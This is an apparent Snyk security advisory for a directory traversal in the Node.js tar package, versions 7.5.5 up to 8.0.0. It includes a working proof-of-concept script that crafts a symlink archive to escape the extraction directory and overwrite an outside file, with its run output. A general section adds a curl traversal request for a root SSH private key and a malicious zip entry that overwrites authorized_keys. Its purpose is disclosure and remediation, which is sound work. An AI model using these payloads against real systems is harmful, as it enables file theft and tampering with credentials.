Directory Traversal Affecting tar package, versions >=7.5.5 <8.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.92% (62nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Directory Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-TAR-23314582
  • published2 Dec 2026
  • disclosed1 Dec 2026
  • creditaleff-github

Introduced: 1 Dec 2026

NewCVE-2026-140243  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade tar to version 8.0.0 or higher.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via a trailing /. in a SymbolicLink entry path in src/unpack.ts. The [STRIPABSOLUTEPATH] linkpath check computes the entry's directory using the raw, un-normalized entry.path, so a path ending in /. (e.g. a/b/l/.) causes path.posix.dirname to return a directory one level deeper than where the symlink is actually created. The bounds check therefore accepts a linkpath that resolves outside the extraction directory, and the resulting symlink points to an arbitrary file on the filesystem. Any application that subsequently reads, serves, copies, or writes the extracted files can be redirected to that outside file, enabling disclosure or overwrite of files such as credentials or SSH keys.

PoC

poc.cjs below builds a one-entry archive with new Header({ path, type: 'SymbolicLink', linkpath: '../../../target.txt' }) and extracts it with x({ cwd, file }). It runs once with the plain path a/b/l (control) and once with a/b/l/. (attack). Then it does what a consumer of the extracted tree would do: it reads the file and writes it. Run with npm i tar@7.5.23 && node poc.cjs. It exits 1 when the attack escapes and the control does not.

// node-tar: a SymbolicLink entry whose path ends in "/." escapes the
// "linkpath must resolve inside cwd" check (src/unpack.ts STRIPABSOLUTEPATH).
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const work = fs.mkdtempSync('/tmp/nodetar-') const cwd = path.join(work, 'extract') fs.mkdirSync(cwd) const target = path.join(work, 'target.txt') // outside cwd fs.writeFileSync(target, 'ORIGINAL\n')

function archive(entryPath) { const b = Buffer.alloc(1536) new Header({ path: entryPath, type: 'SymbolicLink', linkpath: '../../../target.txt' }).encode(b, 0) const f = path.join(work, entryPath.replace(/\W/g, '_') + '.tar') fs.writeFileSync(f, b) return f }

async function run(label, entryPath, linkAt) { fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd) fs.writeFileSync(target, 'ORIGINAL\n') const warnings = [] await x({ cwd, file: archive(entryPath), onwarn: (c, m) => warnings.push(c + ': ' + m) }) const l = path.join(cwd, linkAt) let st = null; try { st = fs.lstatSync(l) } catch {} console.log(\n[${label}] entry path ${JSON.stringify(entryPath)}) console.log(' warnings:', warnings.length ? warnings : 'none') if (!st || !st.isSymbolicLink()) { console.log(' no symlink created -> blocked'); return false } console.log(' created', linkAt, '->', fs.readlinkSync(l), ' resolves to', fs.realpathSync(l)) console.log(' read through link:', JSON.stringify(fs.readFileSync(l, 'utf8'))) fs.writeFileSync(l, 'PWNED\n') // what any consumer writing the file does console.log(' outside target now:', JSON.stringify(fs.readFileSync(target, 'utf8'))) return fs.readFileSync(target, 'utf8') === 'PWNED\n' }

;(async () => { console.log('tar version', require('tar/package.json').version) const control = await run('CONTROL', 'a/b/l', 'a/b/l') // same link, plain path const attack = await run('ATTACK', 'a/b/l/.', 'a/b/l') // trailing "/." console.log(\nRESULT control_escaped=${control} attack_escaped=${attack}) process.exit(attack && !control ? 1 : 0) })()

Output on tar@7.5.23, Node 22 (node:22-slim, non-root, --network none):

tar version 7.5.23

[CONTROL] entry path "a/b/l" warnings: [ 'TAR_ENTRY_ERROR: linkpath escapes extraction directory' ] no symlink created -> blocked

[ATTACK] entry path "a/b/l/." warnings: none created a/b/l -> ../../../target.txt resolves to /tmp/nodetar-QaRigr/target.txt read through link: "ORIGINAL\n" outside target now: "PWNED\n"

RESULT control_escaped=false attack_escaped=true

Versions measured with the same script: 7.5.3 and 7.5.4 block both cases. 7.5.5, 7.5.6, 7.5.7, 7.5.8, 7.5.9, 7.5.10, 7.5.11, 7.5.22 and 7.5.23 block the control and accept the attack.

Note: The PoC states it runs with npm i tar@7.5.23 && node poc.cjs on Node 22 (node:22-slim, non-root, --network none).

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

CVSS Base Scores

version 4.0
version 3.1